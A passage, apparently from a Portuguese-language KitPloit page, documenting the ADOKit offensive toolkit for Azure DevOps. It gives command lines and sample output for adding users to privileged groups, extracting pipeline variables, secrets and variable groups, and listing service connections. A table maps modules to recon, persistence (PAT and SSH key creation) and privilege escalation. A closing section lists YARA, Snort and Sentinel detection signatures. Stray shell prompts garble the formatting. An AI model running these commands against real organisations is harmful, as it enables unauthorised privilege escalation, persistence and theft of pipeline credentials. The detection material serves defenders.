Forneça o módulo `removecollectionbuildsvc` junto com um `/user:` para um determinado usuário ser removido do grupo `Project Collection Build Service Accounts`. Além disso, forneça as informações de autenticação e URL relevantes. Consulte [Tabela de Detalhes do Módulo](#module-details-table) para as permissões necessárias para realizar esta ação.

`ADOKit.exe removecollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`

`ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`

#### Exemplo de Saída```
C:\>ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module:         removecollectionbuildsvc
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/5/2023 8:22:27 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Collection Build Service Accounts group.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

4/5/23 12:22:28 Finished execution of removecollectionbuildsvc

Adicionar Conta de Serviço da Coleção

Caso de Uso

Adicionar um usuário ao grupo Project Collection Service Accounts.

Sintaxe

Forneça o módulo addcollectionsvc junto com um /user: para um determinado usuário ser adicionado ao grupo Project Collection Service Accounts. Além disso, forneça qualquer informação de autenticação relevante e URL. Consulte a Tabela de Detalhes do Módulo para as permissões necessárias para executar esta ação.

ADOKit.exe addcollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

Exemplo de Saída```

C:>ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

================================================== Module: addcollectionsvc Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/5/2023 11:21:01 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Project Collection Service Accounts group.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
     [YourOrganization]\Project Collection Service Accounts |          [email protected] |                                        John Smith
     [YourOrganization]\Project Collection Service Accounts |             [email protected] |                                             User 1

4/5/23 15:21:04 Finished execution of addcollectionsvc

root@kitploit:~
### Remover Collection Service Account

#### Caso de Uso

> *Remover um usuário do grupo Project Collection Service Accounts.*

#### Sintaxe

Forneça o módulo `removecollectionsvc` juntamente com um `/user:` para um determinado usuário ser removido do grupo `Project Collection Service Accounts`. Além disso, forneça qualquer informação de autenticação relevante e URL. Consulte a [Tabela de Detalhes do Módulo](#module-details-table) para as permissões necessárias para realizar esta ação.

`ADOKit.exe removecollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`

`ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`

#### Exemplo de Saída```
C:\>ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module:         removecollectionsvc
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/5/2023 11:21:43 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Collection Service Accounts group.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
         [YourOrganization]\Project Collection Service Accounts |          [email protected] |                                        John Smith

4/5/23 15:21:44 Finished execution of removecollectionsvc

Obter Variáveis de Pipeline

Caso de Uso

Extrair quaisquer variáveis de pipeline sendo usadas no(s) projeto(s), que podem conter credenciais ou outras informações úteis.

Sintaxe

Forneça o módulo getpipelinevars junto com um /project: para um determinado projeto para extrair quaisquer variáveis de pipeline sendo usadas. Se você deseja extrair variáveis de pipeline de todos os projetos, especifique all no argumento /project:.

ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"

ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"

Exemplo de Saída```

C:>ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"

================================================== Module: getpipelinevars Auth Type: Cookie Project: maraudersmap Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/6/2023 12:08:35 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
         Pipeline Var Name |                                 Pipeline Var Value

root@kitploit:~
                credential |                                       P@ssw0rd123!
                       url |                                       http://blah/

4/6/23 16:08:36 Finished execution of getpipelinevars

root@kitploit:~
### Obter Segredos do Pipeline

#### Caso de Uso

> *Extrair os nomes de quaisquer segredos do pipeline sendo usados no(s) projeto(s), o que direcionará o operador sobre onde tentar realizar a extração de segredos.*

#### Sintaxe

Forneça o módulo `getpipelinesecrets` junto com um `/project:` para um determinado projeto para extrair os nomes de quaisquer segredos do pipeline sendo usados. Se desejar extrair os nomes dos segredos do pipeline de todos os projetos, especifique `all` no argumento `/project:`.

`ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`

`ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"`

#### Exemplo de Saída```
C:\>ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"

==================================================
Module:         getpipelinesecrets
Auth Type:      Cookie
Project:        maraudersmap
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/10/2023 10:28:37 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

             Build Secret Name |   Build Secret Value
-----------------------------------------------------
             anotherSecretPass |             [HIDDEN]
                    secretpass |             [HIDDEN]

4/10/23 14:28:38 Finished execution of getpipelinesecrets

Obter Grupos de Variáveis

Caso de Uso

Extraia qualquer grupo de variáveis e as variáveis correspondentes sendo usadas em projeto(s), que podem conter credenciais ou outras informações úteis.

Sintaxe

Forneça o módulo getvariablegroups junto com /project: para um determinado projeto para extrair quaisquer grupos de variáveis em uso. Se desejar extrair grupos de variáveis de todos os projetos, especifique all no argumento /project:.

ADOKit.exe getvariablegroups /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getvariablegroups /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getvariablegroups /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"

ADOKit.exe getvariablegroups /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"

Exemplo de Saída```

C:>ADOKit.exe getvariablegroups /credential:"ABC123" /url:https://dev.azure.com/YourOrganization /project:"ADOKit"

================================================== Module: getvariablegroups Auth Type: Cookie Project: ADOKit Target URL: https://dev.azure.com/YourOrganization

Timestamp: 16/05/2024 16:53:31

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
       Variable Group Name |                  Variable Name |                                     Variable Value

root@kitploit:~
       real-test-variables |                  test_password |                                      BurpIsNotBeef
       real-test-variables |                      test_user |                                            nicolas
       fake-prod-variables |                    SUPERSECRET |                                           [HIDDEN]
       fake-prod-variables |                 SUPERNOTSECRET |                             ThisShouldBeSecured :/
root@kitploit:~
### Obter Conexões de Serviço

#### Caso de Uso

> *Listar quaisquer conexões de serviço sendo usadas em projeto(s), o que direcionará o operador onde tentar realizar a extração de credenciais para quaisquer conexões de serviço sendo usadas.*

#### Sintaxe

Forneça o módulo `getserviceconnections` junto com um `/project:` para um determinado projeto para listar quaisquer conexões de serviço sendo usadas. Se desejar listar conexões de serviço sendo usadas de todos os projetos, especifique `all` no argumento `/project:`.

`ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`

`ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"`

#### Exemplo de Saída```
C:\>ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"

==================================================
Module:         getserviceconnections
Auth Type:      Cookie
Project:        maraudersmap
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/11/2023 8:34:16 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                             Connection Name |      Connection Type |                                                           ID
--------------------------------------------------------------------------------------------------------------------------------------------------
                                        Test Connection Name |              generic |                         195d960c-742b-4a22-a1f2-abd2c8c9b228
                                         Not Real Connection |              generic |                         cd74557e-2797-498f-9a13-6df692c22cac
  Azure subscription 1(47c5aaab-dbda-44ca-802e-00801de4db23) |              azurerm |                         5665ed5f-3575-4703-a94d-00681fdffb04
Azure subscription 1(1)(47c5aaab-dbda-44ca-802e-00801de4db23) |              azurerm |                         df8c023b-b5ad-4925-a53d-bb29f032c382

4/11/23 12:34:16 Finished execution of getserviceconnections

Detecção

Abaixo estão assinaturas estáticas para o uso específico desta ferramenta em seu estado padrão:

  • GUID do Projeto - {60BC266D-1ED5-4AB5-B0DD-E1001C3B1498}
    • Veja Regra Yara do ADOKit neste repositório.
  • String de User Agent - ADOKit-21e233d4334f9703d1a3a42b6e2efd38
    • Veja Regra Snort do ADOKit neste repositório.
  • Regras do Microsoft Sentinel
    • ADOKitUsage.json - Detecta o uso do ADOKit com qualquer evento auditável (por exemplo, adicionar um usuário a um grupo)
    • PersistenceTechniqueWithADOKit.json - Detecta a criação de um PAT ou chave SSH com ADOKit

Para orientação de detecção das técnicas usadas pela ferramenta, consulte o whitepaper da X-Force Red.

Roadmap

  • Suporte para Azure DevOps Server

Referências

  • https://learn.microsoft.com/en-us/rest/api/azure/devops/?view=azure-devops-rest-7.1
  • https://learn.microsoft.com/en-us/azure/devops/user-guide/what-is-azure-devops?view=azure-devops
Baixar ferramenta
  • Remove Collection Service Account
  • Get Pipeline Variables
  • Get Pipeline Secrets
  • Get Variable Groups
  • Get Service Connections
  • createpat
  • listpat - Lista os tokens de acesso pessoal do usuário
  • removepat - Remove o token de acesso pessoal do usuário
  • createsshkey - Cria uma chave SSH pública para o usuário
  • listsshkey - Lista as chaves SSH públicas do usuário
  • removesshkey - Remove a chave SSH pública do usuário
  • Privilege Escalation
    • addprojectadmin - Adiciona um usuário ao grupo "Project Administrators" de um determinado projeto
    • removeprojectadmin - Remove um usuário do grupo "Project Administrators" de um determinado projeto
    • addbuildadmin - Adiciona um usuário ao grupo "Build Administrators" de um determinado projeto
    • removebuildadmin - Remove um usuário do grupo "Build Administrators" de um determinado projeto
    • addcollectionadmin - Adiciona um usuário ao grupo "Project Collection Administrators"
    • removecollectionadmin - Remove um usuário do grupo "Project Collection Administrators"
    • addcollectionbuildadmin - Adiciona um usuário ao grupo "Project Collection Build Administrators"
    • removecollectionbuildadmin - Remove um usuário do grupo "Project Collection Build Administrators"
    • addcollectionbuildsvc - Adiciona um usuário ao grupo "Project Collection Build Service Accounts"
    • removecollectionbuildsvc - Remove um usuário do grupo "Project Collection Build Service Accounts"
    • addcollectionsvc - Adiciona um usuário ao grupo "Project Collection Service Accounts"
    • removecollectionsvc - Remove um usuário do grupo "Project Collection Service Accounts"
    • getpipelinevars - Recupera quaisquer variáveis de pipeline utilizadas em um determinado projeto
    • getpipelinesecrets - Recupera os nomes de quaisquer segredos de pipeline utilizados em um determinado projeto
    • getvariablegroups - Recupera quaisquer grupos de variáveis e as variáveis correspondentes utilizadas em um determinado projeto
    • getserviceconnections - Recupera as conexões de serviço utilizadas em um determinado projeto
  • Attack ScenarioModuleSpecial Permissions?Notes
    ReconcheckNo
    ReconwhoamiNo
    ReconlistorgsNo
    ReconlistrepoNo
    ReconsearchrepoNo
    ReconlistprojectNo
    ReconsearchprojectNo
    ReconsearchcodeNo
    ReconsearchfileNo
    ReconlistuserNo
    ReconsearchuserNo
    ReconlistteamNo
    ReconsearchteamNo
    RecongetteammembersNo
    ReconlistgroupNo
    ReconsearchgroupNo
    RecongetgroupmembersNo
    RecongetpermissionsNo
    ReconcredsNo
    RecongetbuildlogsYes - Contributors or Readers or Build Administrators or Project Administrators or Project Team Member or Project Collection Test Service Accounts or Project Collection Build Service Accounts or Project Collection Build Administrators or Project Collection Service Accounts or Project Collection Administrators
    ReconlistbuildlogsYes - Contributors or Readers or Build Administrators or Project Administrators or Project Team Member or Project Collection Test Service Accounts or Project Collection Build Service Accounts or Project Collection Build Administrators or Project Collection Service Accounts or Project Collection Administrators
    ReconsearchbuildlogsYes - Contributors or Readers or Build Administrators or Project Administrators or Project Team Member or Project Collection Test Service Accounts or Project Collection Build Service Accounts or Project Collection Build Administrators or Project Collection Service Accounts or Project Collection Administrators
    PersistencecreatepatNo
    PersistencelistpatNo
    PersistenceremovepatNo
    PersistencecreatesshkeyNo
    PersistencelistsshkeyNo
    PersistenceremovesshkeyNo
    Privilege EscalationaddprojectadminYes - Project Administrator, Project Collection Administrator or Project Collection Service Accounts
    Privilege EscalationremoveprojectadminYes - Project Administrator, Project Collection Administrator or Project Collection Service Accounts
    Privilege EscalationaddbuildadminYes - Project Administrator, Project Collection Administrator or Project Collection Service Accounts
    Privilege EscalationremovebuildadminYes - Project Administrator, Project Collection Administrator or Project Collection Service Accounts
    Privilege EscalationaddcollectionadminYes - Project Collection Administrator or Project Collection Service Accounts
    Privilege EscalationremovecollectionadminYes - Project Collection Administrator or Project Collection Service Accounts
    Privilege EscalationaddcollectionbuildadminYes - Project Collection Administrator or Project Collection Service Accounts
    Privilege EscalationremovecollectionbuildadminYes - Project Collection Administrator or Project Collection Service Accounts
    Privilege EscalationaddcollectionbuildsvcYes - Project Collection Administrator, Project Colection Build Administrators or Project Collection Service Accounts
    Privilege EscalationremovecollectionbuildsvcYes - Project Collection Administrator, Project Colection Build Administrators or Project Collection Service Accounts
    Privilege EscalationaddcollectionsvcYes - Project Collection Administrator or Project Collection Service Accounts
    Privilege EscalationremovecollectionsvcYes - Project Collection Administrator or Project Collection Service Accounts
    Privilege EscalationgetpipelinevarsYes - Contributors or Readers or Build Administrators or Project Administrators or Project Team Member or Project Collection Test Service Accounts or Project Collection Build Service Accounts or Project Collection Build Administrators or Project Collection Service Accounts or Project Collection Administrators
    Privilege EscalationgetpipelinesecretsYes - Contributors or Readers or Build Administrators or Project Administrators or Project Team Member or Project Collection Test Service Accounts or Project Collection Build Service Accounts or Project Collection Build Administrators or Project Collection Service Accounts or Project Collection Administrators
    Privilege EscalationgetvariablegroupsYes - Contributors or Readers or Build Administrators or Project Administrators or Project Team Member or Project Collection Test Service Accounts or Project Collection Build Service Accounts or Project Collection Build Administrators or Project Collection Service Accounts or Project Collection Administrators
    Privilege EscalationgetserviceconnectionsYes - Project Administrator, Project Collection Administrator or Project Collection Service Accounts